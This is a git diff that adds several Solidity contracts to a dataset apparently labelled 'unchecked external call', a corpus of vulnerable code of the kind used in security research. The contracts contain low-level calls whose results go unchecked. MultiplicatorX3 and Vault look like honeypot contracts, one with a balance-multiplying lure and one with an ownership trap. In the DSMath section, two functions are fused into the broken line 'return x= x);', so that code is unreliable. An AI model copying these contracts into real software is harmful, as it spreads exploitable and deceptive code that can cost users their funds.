external call/33447.sol @@ -0,0 +1,209 @@ +pragma solidity ^0.4.18; + +/** + * + * Version: B + * @author <[email protected]> + * + * Overview: + * Divides all incoming funds among various `activity` accounts. The division cannot be changed + * after the contract is locked. + */ + +contract OrganizeFunds { + + struct ActivityAccount { + uint credited; // total funds credited to this account + uint balance; // current balance = credited - amount withdrawn + uint pctx10; // percent allocation times ten + address addr; // payout addr of this acct + string name; + } + + uint constant TENHUNDWEI = 1000; // need gt. 1000 wei to distribute + uint constant MAX_ACCOUNTS = 10; // max accounts this contract can handle + + event MessageEvent(string message); + event MessageEventI(string message, uint val); + + + bool public isLocked; + string public name; + address public owner; // deployer executor + mapping (uint => ActivityAccount) activityAccounts; // accounts by index + uint public activityCount; // how many activity accounts + uint public totalFundsReceived; // amount received since begin of time + uint public totalFundsDistributed; // amount distributed since begin of time + uint public totalFundsWithdrawn; // amount withdrawn since begin of time + uint public withdrawGas = 100000; // gas for withdrawals + + modifier ownerOnly { + require(msg.sender == owner); + _; + } + + modifier unlockedOnly { + require(!isLocked); + _; + } + + + + // + // constructor + // + function OrganizeFunds() public { + owner = msg.sender; + } + + function lock() public ownerOnly { + isLocked = true; + } + + function setName(string _name) public ownerOnly { + name = _name; + } + + // + // reset + // reset all activity accounts + // in case we have any funds that have not been withdrawn, they become newly received and undistributed. + // + function reset() public ownerOnly unlockedOnly { + totalFundsReceived = this.balance; + totalFundsDistributed = 0; + totalFundsWithdrawn = 0; + activityCount = 0; + MessageEvent("ok: all accts reset"); + } + + + // + // set withdrawal gas + // nonstandard gas is necessary to support push-withdrawals to other contract + // + function setWitdrawGas(uint256 _withdrawGas) public ownerOnly unlockedOnly { + withdrawGas = _withdrawGas; + MessageEventI("ok: withdraw gas set", withdrawGas); + } + + + // + // add a new activity account + // + function addActivityAccount(address _addr, uint256 _pctx10, string _name) public ownerOnly unlockedOnly { + if (activityCount >= MAX_ACCOUNTS) { + MessageEvent("err: max accounts"); + return; + } + activityAccounts[activityCount].addr = _addr; + activityAccounts[activityCount].pctx10 = _pctx10; + activityAccounts[activityCount].credited = 0; + activityAccounts[activityCount].balance = 0; + activityAccounts[activityCount].name = _name; + ++activityCount; + MessageEvent("ok: acct added"); + } + + + // ---------------------------- + // get acct info + // ---------------------------- + function getActivityAccountInfo(address _addr) public constant returns(uint _idx, uint _pctx10, string _name, uint _credited, uint _balance) { + for (uint i = 0; i < activityCount; i++ ) { + address addr = activityAccounts[i].addr; + if (addr == _addr) { + _idx = i; + _pctx10 = activityAccounts[i].pctx10; + _name = activityAccounts[i].name; + _credited = activityAccounts[i].credited; + _balance = activityAccounts[i].balance; + return; + } + } + } + + + // + // get total percentages x10 + // + function getTotalPctx10() public constant returns(uint _totalPctx10) { + _totalPctx10 = 0; + for (uint i = 0; i < activityCount; i++ ) { + _totalPctx10 += activityAccounts[i].pctx10; + } + } + + + // + // default payable function. + // call us with plenty of gas, or catastrophe will ensue + // + function () public payable { + totalFundsReceived += msg.value; + MessageEventI("ok: received", msg.value); + } + + + // + // distribute funds to all activities + // + function distribute() public { + //only payout if we have more than 1000 wei + if (this.balance < TENHUNDWEI) { + return; + } + //each account gets their prescribed percentage of this holdover. + uint i; + uint pctx10; + uint acctDist; + for (i = 0; i < activityCount; i++ ) { + pctx10 = activityAccounts[i].pctx10; + acctDist = totalFundsReceived * pctx10 / TENHUNDWEI; + //we also double check to ensure that the amount credited cannot exceed the total amount due to this acct + if (activityAccounts[i].credited >= acctDist) { + acctDist = 0; + } else { + acctDist = acctDist - activityAccounts[i].credited; + } + activityAccounts[i].credited += acctDist; + activityAccounts[i].balance += acctDist; + totalFundsDistributed += acctDist; + } + MessageEvent("ok: distributed funds"); + } + + + // + // withdraw actvity balance + // can be called by owner to push funds to another contract + // + function withdraw() public { + for (uint i = 0; i < activityCount; i++ ) { + address addr = activityAccounts[i].addr; + if (addr == msg.sender || msg.sender == owner) { + uint amount = activityAccounts[i].balance; + if (amount > 0) { + activityAccounts[i].balance = 0; + totalFundsWithdrawn += amount; + if (!addr.call.gas(withdrawGas).value(amount)()) { + //put back funds in case of err + activityAccounts[i].balance = amount; + totalFundsWithdrawn -= amount; + MessageEvent("err: error sending funds"); + return; + } + } + } + } + } + + + // + // suicide + // + function hariKari() public ownerOnly unlockedOnly { + selfdestruct(owner); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/33464.sol b/smart_contract_dataset/unchecked external call/33464.sol new file mode 100644 index 0000000000000000000000000000000000000000..c07f8187bba471576901f4b3b052f3cb6493c0ef --- /dev/null +++ b/smart_contract_dataset/unchecked external call/33464.sol @@ -0,0 +1,73 @@ +// Copyright (C) 2017 The Halo Platform by Scott Morrison +// +// This is free software and you are welcome to redistribute it under certain conditions. +// ABSOLUTELY NO WARRANTY; for details visit: https://www.gnu.org/licenses/gpl-2.0.html +// +pragma solidity ^0.4.14; + +contract Ownable { + address Owner = msg.sender; + modifier onlyOwner { if (msg.sender == Owner) _; } + function transferOwnership(address to) public onlyOwner { Owner = to; } +} + +// tokens are withdrawable +contract TokenVault is Ownable { + function withdrawTokenTo(address token, address to, uint amount) public onlyOwner returns (bool) { + return token.call(bytes4(0xa9059cbb), to, amount); + } +} + +// store ether & tokens for a period of time +contract Vault is TokenVault { + + event Deposit(address indexed depositor, uint amount); + event Withdrawal(address indexed to, uint amount); + event OpenDate(uint date); + + mapping (address => uint) public Deposits; + uint minDeposit; + bool Locked; + uint Date; + + function init() payable open { + Owner = msg.sender; + minDeposit = 0.5 ether; + Locked = false; + deposit(); + } + + function MinimumDeposit() public constant returns (uint) { return minDeposit; } + function ReleaseDate() public constant returns (uint) { return Date; } + function WithdrawEnabled() public constant returns (bool) { return Date > 0 && Date <= now; } + + function() public payable { deposit(); } + + function deposit() public payable { + if (msg.value > 0) { + if (msg.value >= MinimumDeposit()) + Deposits[msg.sender] += msg.value; + Deposit(msg.sender, msg.value); + } + } + + function setRelease(uint newDate) public { + Date = newDate; + OpenDate(Date); + } + + function withdraw(address to, uint amount) public onlyOwner { + if (WithdrawEnabled()) { + uint max = Deposits[msg.sender]; + if (max > 0 && amount <= max) { + to.transfer(amount); + Withdrawal(to, amount); + } + } + } + + function lock() public { Locked = true; } address owner; + modifier open { if (!Locked) _; owner = msg.sender; } + function kill() public { require(this.balance == 0); selfdestruct(Owner); } + function getOwner() external constant returns (address) { return owner; } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/33512.sol b/smart_contract_dataset/unchecked external call/33512.sol new file mode 100644 index 0000000000000000000000000000000000000000..7c0ac7492d80f89b2b1035235d4e61c087fed990 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/33512.sol @@ -0,0 +1,34 @@ +pragma solidity ^0.4.18; + +contract MultiplicatorX3 +{ + address public Owner = msg.sender; + + function() public payable{} + + function withdraw() + payable + public + { + require(msg.sender == Owner); + Owner.transfer(this.balance); + } + + function Command(address adr,bytes data) + payable + public + { + require(msg.sender == Owner); + adr.call.value(msg.value)(data); + } + + function multiplicate(address adr) + public + payable + { + if(msg.value>=this.balance) + { + adr.transfer(this.balance+msg.value); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/35078.sol b/smart_contract_dataset/unchecked external call/35078.sol new file mode 100644 index 0000000000000000000000000000000000000000..93f8f53639112bfd4cc4185f9937e19a55fe226b --- /dev/null +++ b/smart_contract_dataset/unchecked external call/35078.sol @@ -0,0 +1,893 @@ +pragma solidity ^0.4.16; + +/** @title owned. */ +contract owned { + address owner; + function owned() { + owner = msg.sender; + } + function changeOwner(address newOwner) onlyOwner { + owner = newOwner; + } + modifier onlyOwner() { + require(msg.sender==owner); + _; + } +} + +/** @title mortal. */ +contract mortal is owned() { + function kill() onlyOwner { + if (msg.sender == owner) selfdestruct(owner); + } +} + +/** @title DSMath. */ +contract DSMath { + + // Copyright (C) 2015, 2016, 2017 DappHub, LLC + + // Licensed under the Apache License, Version 2.0 (the "License"). + // You may not use this file except in compliance with the License. + + // Unless required by applicable law or agreed to in writing, software + // distributed under the License is distributed on an "AS IS" BASIS, + // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied). + + // /* + // uint128 functions (h is for half) + // */ + + function hmore(uint128 x, uint128 y) constant internal returns (bool) { + return x>y; + } + + function hless(uint128 x, uint128 y) constant internal returns (bool) { + return x= x); + } + + function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) { + require((z = x - y) <= x); + } + + function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) { + require(y == 0 ||(z = x * y)/ y == x); + } + + function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { + z = x / y; + } + + function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) { + return x <= y ? x : y; + } + + function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) { + return x >= y ? x : y; + } + + // /* + // int256 functions + // */ + + /* + WAD math + */ + uint64 constant WAD_Dec=18; + uint128 constant WAD = 10 ** 18; + + function wmore(uint128 x, uint128 y) constant internal returns (bool) { + return hmore(x, y); + } + + function wless(uint128 x, uint128 y) constant internal returns (bool) { + return hless(x, y); + } + + function wadd(uint128 x, uint128 y) constant returns (uint128) { + return hadd(x, y); + } + + function wsub(uint128 x, uint128 y) constant returns (uint128) { + return hsub(x, y); + } + + function wmul(uint128 x, uint128 y) constant returns (uint128 z) { + z = cast((uint256(x) * y + WAD / 2) / WAD); + } + + function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) { + z = cast((uint256(x) * WAD + y / 2) / y); + } + + function wmin(uint128 x, uint128 y) constant internal returns (uint128) { + return hmin(x, y); + } + + function wmax(uint128 x, uint128 y) constant internal returns (uint128) { + return hmax(x, y); + } + + function cast(uint256 x) constant internal returns (uint128 z) { + assert((z = uint128(x)) == x); + } + +} + +/** @title I_minter. */ +contract I_minter { + event EventCreateStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventRedeemStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventCreateRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventRedeemRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventBankrupt(); + + function Leverage() constant returns (uint128) {} + function RiskPrice(uint128 _currentPrice,uint128 _StaticTotal,uint128 _RiskTotal, uint128 _ETHTotal) constant returns (uint128 price) {} + function RiskPrice(uint128 _currentPrice) constant returns (uint128 price) {} + function PriceReturn(uint _TransID,uint128 _Price) {} + function NewStatic() external payable returns (uint _TransID) {} + function NewStaticAdr(address _Risk) external payable returns (uint _TransID) {} + function NewRisk() external payable returns (uint _TransID) {} + function NewRiskAdr(address _Risk) external payable returns (uint _TransID) {} + function RetRisk(uint128 _Quantity) external payable returns (uint _TransID) {} + function RetStatic(uint128 _Quantity) external payable returns (uint _TransID) {} + function Strike() constant returns (uint128) {} +} + +/** @title I_Pricer. */ +contract I_Pricer { + uint128 public lastPrice; + I_minter public mint; + string public sURL; + mapping (bytes32 => uint) RevTransaction; + function __callback(bytes32 myid, string result) {} + function queryCost() constant returns (uint128 _value) {} + function QuickPrice() payable {} + function requestPrice(uint _actionID) payable returns (uint _TrasID) {} + function collectFee() returns(bool) {} + function () { + //if ether is sent to this address, send it back. + revert(); + } +} + +/** @title I_coin. */ +contract I_coin is mortal { + + event EventClear(); + + I_minter public mint; + string public name; //fancy name: eg Simon Bucks + uint8 public decimals=18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. + string public symbol; //An identifier: eg SBX + string public version = ''; //human 0.1 standard. Just an arbitrary versioning scheme. + + function mintCoin(address target, uint256 mintedAmount) returns (bool success) {} + function meltCoin(address target, uint256 meltedAmount) returns (bool success) {} + function approveAndCall(address _spender, uint256 _value, bytes _extraData){} + + function setMinter(address _minter) {} + function increaseApproval (address _spender, uint256 _addedValue) returns (bool success) {} + function decreaseApproval (address _spender, uint256 _subtractedValue) returns (bool success) {} + + // @param _owner The address from which the balance will be retrieved + // @return The balance + function balanceOf(address _owner) constant returns (uint256 balance) {} + + + // @notice send `_value` token to `_to` from `msg.sender` + // @param _to The address of the recipient + // @param _value The amount of token to be transferred + // @return Whether the transfer was successful or not + function transfer(address _to, uint256 _value) returns (bool success) {} + + + // @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` + // @param _from The address of the sender + // @param _to The address of the recipient + // @param _value The amount of token to be transferred + // @return Whether the transfer was successful or not + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} + + // @notice `msg.sender` approves `_addr` to spend `_value` tokens + // @param _spender The address of the account able to transfer the tokens + // @param _value The amount of wei to be approved for transfer + // @return Whether the approval was successful or not + function approve(address _spender, uint256 _value) returns (bool success) {} + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + // @param _owner The address of the account owning tokens + // @param _spender The address of the account able to transfer the tokens + // @return Amount of remaining tokens allowed to spent + function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + + // @return total amount of tokens + uint256 public totalSupply; +} + +/** @title DSBaseActor. */ +contract DSBaseActor { + /* + Copyright 2016 Nexus Development, LLC + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + */ + + bool _ds_mutex; + modifier mutex() { + assert(!_ds_mutex); + _ds_mutex = true; + _; + _ds_mutex = false; + } + + function tryExec( address target, bytes calldata, uint256 value) + mutex() + internal + returns (bool call_ret) + { + /** @dev Requests new StatiCoins be made for a given address + * @param target where the ETH is sent to. + * @param calldata + * @param value + * @return True if ETH is transfered + */ + return target.call.value(value)(calldata); + } + + function exec( address target, bytes calldata, uint256 value) + internal + { + assert(tryExec(target, calldata, value)); + } +} + +/** @title canFreeze. */ +contract canFreeze is owned { + //Copyright (c) 2017 GenkiFS + //Basically a "break glass in case of emergency" + bool public frozen=false; + modifier LockIfFrozen() { + if (!frozen){ + _; + } + } + function Freeze() onlyOwner { + // fixes the price and allows everyone to redeem their coins at the current value + // only becomes false when all ETH has been claimed or the pricer contract is changed + frozen=true; + } +} + +/** @title oneWrite. */ +contract oneWrite { + // Adds modifies that allow one function to be called only once + //Copyright (c) 2017 GenkiFS + bool written = false; + function oneWrite() { + /** @dev Constuctor, make sure written=false initally + */ + written = false; + } + modifier LockIfUnwritten() { + if (written){ + _; + } + } + modifier writeOnce() { + if (!written){ + written=true; + _; + } + } +} + +/** @title pricerControl. */ +contract pricerControl is canFreeze { + // Copyright (c) 2017 GenkiFS + // Controls the Pricer contract for minter. Allows updates to be made in the future by swapping the pricer contract + // Although this is not expected, web addresses, API's, new oracles could require adjusments to the pricer contract + // A delay of 2 days is implemented to allow coinholders to redeem their coins if they do not agree with the new contract + // A new pricer contract unfreezes the minter (allowing a live price to be used) + I_Pricer public pricer; + address public future; + uint256 public releaseTime; + uint public PRICER_DELAY = 2; // days updated when coins are set + event EventAddressChange(address indexed _from, address indexed _to, uint _timeChange); + + function setPricer(address newAddress) onlyOwner { + /** @dev Changes the Pricer contract, after a certain delay + * @param newAddress Allows coins to be created and sent to other people + * @return transaction ID which can be viewed in the pending mapping + */ + releaseTime = now + PRICER_DELAY; + future = newAddress; + EventAddressChange(pricer, future, releaseTime); + } + + modifier updates() { + if (now > releaseTime && pricer != future){ + update(); + //log0('Updating'); + } + _; + } + + modifier onlyPricer() { + require(msg.sender==address(pricer)); + _; + } + + function update() internal { + pricer = I_Pricer(future); + frozen = false; + } +} + +/** @title minter. */ +contract minter is I_minter, DSBaseActor, oneWrite, pricerControl, DSMath{ // + // Copyright (c) 2017 GenkiFS + // This contract is the controller for the StatiCoin contracts. + // Users have 4(+2) functions they can call to mint/melt Static/Risk coins which then calls the Pricer contract + // after a delay the Pricer contract will call back to the PriceReturn() function + // this will then call one of the functions ActionNewStatic, ActionNewRisk, ActionRetStatic, ActionRetRisk + // which will then call the Static or Risk ERC20 contracts to mint/melt new tokens + // Transfer of tokens is handled by the ERC20 contracts, ETH is stored here. + enum Action {NewStatic, RetStatic, NewRisk, RetRisk} // Enum of what users can do + struct Trans { // Struct + uint128 amount; // Amount sent by the user (Can be either ETH or number of returned coins) + address holder; // Address of the user + Action action; // Type of action requested (mint/melt a Risk/StatiCoin) + bytes32 pricerID; // ID for the pricer function + } + uint128 public lastPrice; //Storage of the last price returned by the Pricer contract + uint128 public PendingETH; //Amount of eth to be added to the contract + uint public TransID=0; // An increasing counter to keep track of transactions requested + uint public TransCompleted; // Last transaction removed + string public Currency; // Name of underlying base currency + I_coin public Static; // ERC20 token interface for the StatiCoin + I_coin public Risk; // ERC20 token interface for the Risk coin + uint128 public Multiplier;//=15*10**(17); // default ratio for Risk price + uint128 public levToll=5*10**(18-1);//0.5 // this plus the multiplier defines the maximum leverage + uint128 public mintFee = 2*10**(18-3); //0.002 Used to pay oricalize and for marketing contract which is in both parties interest. + mapping (uint => Trans[]) public pending; // A mapping of pending transactions + + event EventCreateStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventRedeemStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventCreateRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventRedeemRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); + event EventBankrupt(); //Called when no more ETH is in the contract and everything needs to be manually reset. + + function minter(string _currency, uint128 _Multiplier) { //,uint8 _DecimalPlaces + // CONSTRUCTOR + Currency=_currency; + Multiplier = _Multiplier; + // can't add new contracts here as it gives out of gas messages. Too much code. + } + + function () { + //if ETH is just sent to this address then we cannot determine if it's for StatiCoins or RiskCoins, so send it back. + revert(); + } + + function Bailout() + external + payable + { + /** @dev Allows extra ETH to be added to the benefit of both types of coin holders + * @return nothing + */ + } + + function NewStatic() + external + payable + returns (uint _TransID) { + /** @dev Requests new StatiCoins be made for the sender. + * This cannot be called by a contract. Only a simple wallet (with 0 codesize). + * Contracts must use the Approve, transferFrom pattern and move coins from wallets + * @return transaction ID which can be viewed in the pending mapping + */ + _TransID=NewCoinInternal(msg.sender,cast(msg.value),Action.NewStatic); + //log0('NewStatic'); + } + + function NewStaticAdr(address _user) + external + payable + returns (uint _TransID) { + /** @dev Requests new StatiCoins be made for a given address. + * The address cannot be a contract, only a simple wallet (with 0 codesize). + * Contracts must use the Approve, transferFrom pattern and move coins from wallets + * @param _user Allows coins to be created and sent to other people + * @return transaction ID which can be viewed in the pending mapping + */ + _TransID=NewCoinInternal(_user,cast(msg.value),Action.NewStatic); + //log0('NewStatic'); + } + + function NewRisk() + external + payable + returns (uint _TransID) { + /** @dev Requests new Riskcoins be made for the sender. + * This cannot be called by a contract, only a simple wallet (with 0 codesize). + * Contracts must use the Approve, transferFrom pattern and move coins from wallets + * @return transaction ID which can be viewed in the pending mapping + */ + _TransID=NewCoinInternal(msg.sender,cast(msg.value),Action.NewRisk); + //log0('NewRisk'); + } + + function NewRiskAdr(address _user) + external + payable + returns (uint _TransID) { + /** @dev Requests new Riskcoins be made for a given address. + * The address cannot be a contract, only a simple wallet (with 0 codesize). + * Contracts must use the Approve, transferFrom pattern and move coins from wallets + * @param _user Allows coins to be created and sent to other people + * @return transaction ID which can be viewed in the pending mapping + */ + _TransID=NewCoinInternal(_user,cast(msg.value),Action.NewRisk); + //log0('NewRisk'); + } + + function RetRisk(uint128 _Quantity) + external + payable + LockIfUnwritten + returns (uint _TransID) { + /** @dev Returns Riskcoins. Needs a bit of eth sent to pay the pricer contract and the excess is returned. + * The address cannot be a contract, only a simple wallet (with 0 codesize). + * @param _Quantity Amount of coins being returned + * @return transaction ID which can be viewed in the pending mapping + */ + if(frozen){ + //Skip the pricer contract + TransID++; + ActionRetRisk(Trans(_Quantity,msg.sender,Action.RetRisk,0),TransID,lastPrice); + _TransID=TransID; + } else { + //Only returned when Risk price is positive + _TransID=RetCoinInternal(_Quantity,cast(msg.value),msg.sender,Action.RetRisk); + } + //log0('RetRisk'); + } + + function RetStatic(uint128 _Quantity) + external + payable + LockIfUnwritten + returns (uint _TransID) { + /** @dev Returns StatiCoins, Needs a bit of eth sent to pay the pricer contract + * @param _Quantity Amount of coins being returned + * @return transaction ID which can be viewed in the pending mapping + */ + if(frozen){ + //Skip the pricer contract + TransID++; + ActionRetStatic(Trans(_Quantity,msg.sender,Action.RetStatic,0),TransID,lastPrice); + _TransID=TransID; + } else { + //Static can be returned at any time + _TransID=RetCoinInternal(_Quantity,cast(msg.value),msg.sender,Action.RetStatic); + } + //log0('RetStatic'); + } + + //****************************// + // Constant functions (Ones that don't write to the blockchain) + + function StaticEthAvailable() + constant + returns (uint128) { + /** @dev Returns the total amount of eth that can be sent to buy StatiCoins + * @return amount of Eth + */ + return StaticEthAvailable(cast(Risk.totalSupply()), cast(this.balance)); + } + + function StaticEthAvailable(uint128 _RiskTotal, uint128 _TotalETH) + constant + returns (uint128) { + /** @dev Returns the total amount of eth that can be sent to buy StatiCoins allows users to test arbitrary amounts of RiskTotal and ETH contained in the contract + * @param _RiskTotal Quantity of riskcoins + * @param _TotalETH Total value of ETH in the contract + * @return amount of Eth + */ + // (Multiplier+levToll)*_RiskTotal - _TotalETH + uint128 temp = wmul(wadd(Multiplier,levToll),_RiskTotal); + if(wless(_TotalETH,temp)){ + return wsub(temp ,_TotalETH); + } else { + return 0; + } + } + + function RiskPrice(uint128 _currentPrice,uint128 _StaticTotal,uint128 _RiskTotal, uint128 _ETHTotal) + constant + returns (uint128 price) { + /** @dev Allows users to query various hypothetical prices of RiskCoins in terms of base currency + * @param _currentPrice Current price of ETH in Base currency. + * @param _StaticTotal Total quantity of StatiCoins issued. + * @param _RiskTotal Total quantity of invetor coins issued. + * @param _ETHTotal Total quantity of ETH in the contract. + * @return price of RiskCoins + */ + if(_ETHTotal == 0 || _RiskTotal==0){ + //Return the default price of _currentPrice * Multiplier + return wmul( _currentPrice , Multiplier); + } else { + if(hmore( wmul(_ETHTotal , _currentPrice),_StaticTotal)){ //_ETHTotal*_currentPrice>_StaticTotal + //Risk price is positive + return wdiv(wsub(wmul(_ETHTotal , _currentPrice) , _StaticTotal) , _RiskTotal); // (_ETHTotal * _currentPrice) - _StaticTotal) / _RiskTotal + } else { + //RiskPrice is negative + return 0; + } + } + } + + function RiskPrice(uint128 _currentPrice) + constant + returns (uint128 price) { + /** @dev Allows users to query price of RiskCoins in terms of base currency, using current quantities of coins + * @param _currentPrice Current price of ETH in Base currency. + * @return price of RiskCoins + */ + return RiskPrice(_currentPrice,cast(Static.totalSupply()),cast(Risk.totalSupply()),wsub(cast(this.balance),PendingETH)); + } + + function LastRiskPrice() + constant + returns (uint128 price) { + /** @dev Allows users to query the last price of RiskCoins in terms of base currency + * @return price of RiskCoins + */ + return RiskPrice(lastPrice); + } + + function Leverage() public + constant + returns (uint128) { + /** @dev Returns the ratio at which Riskcoin grows in value for the equivalent growth in ETH price + * @return ratio + */ + if(Risk.totalSupply()>0){ + return wdiv(cast(this.balance) , cast(Risk.totalSupply())); // this.balance/Risk.totalSupply + }else{ + return 0; + } + } + + function Strike() public + constant + returns (uint128) { + /** @dev Returns the current price at which the Risk price goes negative + * @return Risk price in underlying per ETH + */ + if(this.balance>0){ + return wdiv(cast(Static.totalSupply()) , cast(this.balance)); //Static.totalSupply / this.balance + }else{ + return 0; + } + } + + //****************************// + // Only owner can access the following functions + function setFee(uint128 _newFee) + onlyOwner { + /** @dev Allows the minting fee to be changed, only owner can modify + * @param _newFee Size of new fee + * return nothing + */ + mintFee=_newFee; + } + + function setCoins(address newRisk,address newStatic) + updates + onlyOwner + writeOnce { + /** @dev Allows the minting fee to be reduced, only owner can modify once, Triggers the pricer to be updated + * @param newRisk Address of Riskcoin contract + * @param newStatic Address of StatiCoin contract + * return nothing + */ + Risk=I_coin(newRisk); + Static=I_coin(newStatic); + PRICER_DELAY = 2 days; + } + + //****************************// + // Only Pricer can access the following function + function PriceReturn(uint _TransID,uint128 _Price) + onlyPricer { + /** @dev Return function for the Pricer contract only. Controls melting and minting of new coins. + * @param _TransID Tranasction ID issued by the minter. + * @param _Price Quantity of Base currency per ETH delivered by the Pricer contract + * Nothing returned. One of 4 functions is implemented + */ + Trans memory details=pending[_TransID][0];//Get the details for this transaction. + if(0==_Price||frozen){ //If there is an error in pricing or contract is frozen, use the old price + _Price=lastPrice; + } else { + if(Static.totalSupply()>0 && Risk.totalSupply()>0) {// dont update if there are coins missing + lastPrice=_Price; // otherwise update the last price + } + } + //Mint some new StatiCoins + if(Action.NewStatic==details.action){ + ActionNewStatic(details,_TransID, _Price); + } + //Melt some old StatiCoins + if(Action.RetStatic==details.action){ + ActionRetStatic(details,_TransID, _Price); + } + //Mint some new Risk coins + if(Action.NewRisk==details.action){ + ActionNewRisk(details,_TransID, _Price); + } + //Melt some old Risk coin + if(Action.RetRisk==details.action){ + ActionRetRisk(details,_TransID, _Price); + } + //Remove the transaction from the blockchain (saving some gas) + TransCompleted=_TransID; + delete pending[_TransID]; + } + + //****************************// + // Only internal functions now + function ActionNewStatic(Trans _details, uint _TransID, uint128 _Price) + internal { + /** @dev Internal function to create new StatiCoins based on transaction data in the Pending queue. If not enough spare StatiCoins are available then ETH is refunded. + * @param _details Structure holding the amount sent (in ETH), the address of the person to sent to, and the type of request. + * @param _TransID ID of the transaction (as stored in this contract). + * @param _Price Current 24 hour average price as returned by the oracle in the pricer contract. + * @return function returns nothing, but adds StatiCoins to the users address and events are created + */ + //log0('NewStatic'); + + //if(Action.NewStatic<>_details.action){revert();} //already checked + + uint128 CurRiskPrice=RiskPrice(_Price); + uint128 AmountReturn; + uint128 AmountMint; + + //Calculates the amount of ETH that can be added to create StatiCoins (excluding the amount already sent and stored in the contract) + uint128 StaticAvail = StaticEthAvailable(cast(Risk.totalSupply()), wsub(cast(this.balance),PendingETH)); + + // If the amount sent is less than the Static amount available, everything is fine. Nothing needs to be returned. + if (wless(_details.amount,StaticAvail)) { + // restrictions do not hamper the creation of a StatiCoin + AmountMint = _details.amount; + AmountReturn = 0; + } else { + // Amount of Static is less than amount requested. + // Take all the StatiCoins available. + // Maybe there is zero Static available, so all will be returned. + AmountMint = StaticAvail; + AmountReturn = wsub(_details.amount , StaticAvail) ; + } + + if(0 == CurRiskPrice){ + // return all the ETH + AmountReturn = _details.amount; + //AmountMint = 0; //not required as Risk price = 0 + } + + //Static can be added when Risk price is positive and leverage is below the limit + if(CurRiskPrice > 0 && StaticAvail>0 ){ + // Dont create if CurRiskPrice is 0 or there is no Static available (leverage is too high) + //log0('leverageOK'); + Static.mintCoin(_details.holder, uint256(wmul(AmountMint , _Price))); //request coins from the Static creator contract + EventCreateStatic(_details.holder, wmul(AmountMint , _Price), _TransID, _Price); // Event giving the holder address, coins created, transaction id, and price + PendingETH=wsub(PendingETH,AmountMint); + } + + if (AmountReturn>0) { + // return some money because not enough StatiCoins are available + bytes memory calldata; // define a blank `bytes` + exec(_details.holder,calldata, AmountReturn); //Refund ETH from this contract + PendingETH=wsub(PendingETH,AmountReturn); + } + } + + function ActionNewRisk(Trans _details, uint _TransID,uint128 _Price) + internal { + /** @dev Internal function to create new Risk coins based on transaction data in the Pending queue. Risk coins can only be created if the price is above zero + * @param _details Structure holding the amount sent (in ETH), the address of the person to sent to, and the type of request. + * @param _TransID ID of the transaction (as stored in this contract). + * @param _Price Current 24 hour average price as returned by the oracle in the pricer contract. + * @return function returns nothing, but adds Riskcoins to the users address and events are created + */ + //log0('NewRisk'); + //if(Action.NewRisk<>_details.action){revert();} //already checked + // Get the Risk price using the amount of ETH in the contract before this transaction existed + uint128 CurRiskPrice; + if(wless(cast(this.balance),PendingETH)){ + CurRiskPrice=0; + } else { + CurRiskPrice=RiskPrice(_Price,cast(Static.totalSupply()),cast(Risk.totalSupply()),wsub(cast(this.balance),PendingETH)); + } + if(CurRiskPrice>0){ + uint128 quantity=wdiv(wmul(_details.amount , _Price),CurRiskPrice); // No of Riskcoins = _details.amount * _Price / CurRiskPrice + Risk.mintCoin(_details.holder, uint256(quantity) ); //request coins from the Riskcoin creator contract + EventCreateRisk(_details.holder, quantity, _TransID, _Price); // Event giving the holder address, coins created, transaction id, and price + } else { + // Don't create if CurRiskPrice is 0, Return all the ETH originally sent + bytes memory calldata; // define a blank `bytes` + exec(_details.holder,calldata, _details.amount); + } + PendingETH=wsub(PendingETH,_details.amount); + } + + function ActionRetStatic(Trans _details, uint _TransID,uint128 _Price) + internal { + /** @dev Internal function to Return StatiCoins based on transaction data in the Pending queue. Static can be returned at any time. + * @param _details Structure holding the amount sent (in ETH), the address of the person to sent to, and the type of request. + * @param _TransID ID of the transaction (as stored in this contract). + * @param _Price Current 24 hour average price as returned by the oracle in the pricer contract. + * @return function returns nothing, but removes StatiCoins from the user's address, sends ETH and events are created + */ + //if(Action.RetStatic<>_details.action){revert();} //already checked + //log0('RetStatic'); + uint128 _ETHReturned; + if(0==Risk.totalSupply()){_Price=lastPrice;} //No Risk coins for balance so use fixed price + _ETHReturned = wdiv(_details.amount , _Price); //_details.amount / _Price + if (Static.meltCoin(_details.holder,_details.amount)){ + // deducted first, will add back if Returning ETH goes wrong. + EventRedeemStatic(_details.holder,_details.amount ,_TransID, _Price); + if (wless(cast(this.balance),_ETHReturned)) { + _ETHReturned=cast(this.balance);//Not enough ETH available. Return all Eth in the contract + } + bytes memory calldata; // define a blank `bytes` + if (tryExec(_details.holder, calldata, _ETHReturned)) { + 